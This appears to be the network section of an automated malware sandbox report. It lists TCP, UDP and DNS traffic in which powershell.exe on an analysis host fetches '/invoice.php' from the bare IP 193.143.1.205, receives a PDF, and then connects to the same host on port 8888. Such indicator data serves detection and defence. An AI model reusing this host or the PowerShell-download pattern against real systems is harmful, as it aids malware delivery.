Jan 11, 2025 01:54:02.574259996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574270964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574284077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574292898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574292898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574331999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574543953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574559927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574570894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574582100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574594021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574595928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574605942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574616909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574619055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574630022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574640989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574651003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574654102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574666023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574673891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574676991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574696064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574719906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.575716019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.610382080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610399961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610413074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610424042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610435963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610450983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.610503912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.610774994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610786915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610799074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610809088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610821962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.610866070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.621526003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621577978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621594906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621606112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621618032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621635914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621646881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621659040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621670961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.621670961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.621676922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621690035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621701002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621702909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.621714115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621716022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.621725082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621737003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621750116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621757984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.621762037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621773958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621784925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621795893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621802092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.621839046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.621983051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.621995926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.622051954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.627748966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659588099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659603119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659614086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659631968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659645081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659656048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659667015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659677029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659687042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659704924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659715891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659724951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659724951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659735918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659759998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659769058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659779072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659786940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659797907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659807920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659810066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659821987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659830093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659833908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659868956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659869909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659893990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659904003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659920931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659933090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659945965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659950018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659982920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.659995079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.659996033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660007954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660023928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660060883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660132885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660150051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660161018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660173893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660186052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660197020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660207987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660209894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660221100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660233021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660253048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660280943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660332918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660343885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660360098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660366058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660379887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660422087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660485983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660496950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660515070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660526037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660531998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660537958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660538912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660551071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660562038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660563946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660610914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660640955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660651922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660662889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660675049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660680056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660686970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660697937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660701036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660712004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660722971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660733938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660741091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660746098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660758972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660787106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660808086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.660964012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660975933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.660988092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661000967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661009073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661015034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661025047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661057949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661060095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661082029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661176920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661189079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661200047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661211014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661222935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661225080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661235094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661247015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661258936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661264896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661272049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661281109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661292076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661314964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661452055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661468983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661480904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661492109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661495924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661504030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661514997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661520958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661528111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661540985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661551952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.661575079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661587954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.661608934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.683279991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.697182894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.697201967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.697213888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.697223902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.697237015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.697247982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.697290897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.697334051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.697361946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.697374105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.697410107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.708287954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708300114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708317041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708328962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708334923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708350897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.708359957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708367109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708405972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708411932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708633900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708640099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708645105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708674908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708682060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708688974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708693027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708698034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708703995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708709002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708717108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708722115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708729029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708735943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.708878040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.746264935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746310949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746323109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746328115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.746335030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746346951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746368885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746380091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746381044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.746392012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746401072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746438026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.746467113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746475935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.746480942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746493101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746504068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746527910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.746551037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.746563911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746576071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746587992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746596098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746608019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.746644020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.793706894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.798963070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:03.002146006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:04.134598970 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:04.139553070 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:04.139635086 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:04.141009092 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:04.145806074 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:04.934057951 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:04.981245041 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:05.112675905 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:55:58.751841068 CET	49177	53	192.168.2.4	1.1.1.1
Jan 11, 2025 01:55:58.756702900 CET	53	49177	1.1.1.1	192.168.2.4
Jan 11, 2025 01:55:58.756798029 CET	49177	53	192.168.2.4	1.1.1.1
Jan 11, 2025 01:55:58.756824017 CET	49177	53	192.168.2.4	1.1.1.1
Jan 11, 2025 01:55:58.761684895 CET	53	49177	1.1.1.1	192.168.2.4
Jan 11, 2025 01:55:59.214188099 CET	53	49177	1.1.1.1	192.168.2.4
Jan 11, 2025 01:55:59.215146065 CET	49177	53	192.168.2.4	1.1.1.1
Jan 11, 2025 01:55:59.221183062 CET	53	49177	1.1.1.1	192.168.2.4
Jan 11, 2025 01:55:59.221242905 CET	49177	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:54:17.181426048 CET	58055	53	192.168.2.4	1.1.1.1
Jan 11, 2025 01:54:33.464132071 CET	55003	53	192.168.2.4	1.1.1.1
Jan 11, 2025 01:55:58.751281023 CET	53	56243	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:54:17.181426048 CET	192.168.2.4	1.1.1.1	0x56d2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:54:33.464132071 CET	192.168.2.4	1.1.1.1	0xd335	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:54:17.189776897 CET	1.1.1.1	192.168.2.4	0x56d2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:54:33.472623110 CET	1.1.1.1	192.168.2.4	0xd335	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	2056	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:54:01.204495907 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:54:01.985846996 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:54:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:54:01.985891104 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
